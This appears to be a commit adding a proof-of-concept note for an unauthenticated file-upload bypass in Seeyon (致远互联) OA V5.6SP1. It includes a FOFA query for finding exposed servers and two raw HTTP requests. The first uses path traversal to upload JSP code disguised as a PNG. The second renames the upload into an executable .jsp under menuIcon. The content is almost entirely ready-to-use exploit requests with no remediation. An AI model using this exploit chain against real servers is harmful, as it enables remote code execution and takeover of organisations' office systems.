Create 致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md

致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md

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+## 致远互联-OA前台fileUpload.do存在绕过文件上传漏洞
+
+## fofa
+```
+title="协同管理软件 V5.6SP1"
+```
+
+## poc
+```
+POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
+Host: your-ip
+Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
+Content-Type: multipart/form-data; boundary=00content0boundary00
+User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)
+
+--00content0boundary00
+Content-Disposition: form-data; name="type"
+
+
+--00content0boundary00
+Content-Disposition: form-data; name="extensions"
+
+png
+--00content0boundary00
+Content-Disposition: form-data; name="applicationCategory"
+
+
+--00content0boundary00
+Content-Disposition: form-data; name="destDirectory"
+
+
+--00content0boundary00
+Content-Disposition: form-data; name="destFilename"
+
+
+--00content0boundary00
+Content-Disposition: form-data; name="maxSize"
+
+
+--00content0boundary00
+Content-Disposition: form-data; name="isEncrypt"
+
+false
+--00content0boundary00
+Content-Disposition: form-data; name="file1"; filename="1.png"
+Content-Type: Content-Type: application/pdf
+
+<% out.println("hello");%>
+--00content0boundary00--
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/63b91745-854d-4bd4-8a1b-2a14f124b030)
+
+携带fileid值将文件转换为jsp文件 
+```
+POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
+Host: 
+Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
+Content-type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
+
+method=uploadMenuIcon&fileid=获取到的值&filename=qwe.jsp
+```
+
+文件路径 `http://ip/seeyon/main/menuIcon/qwe.jsp`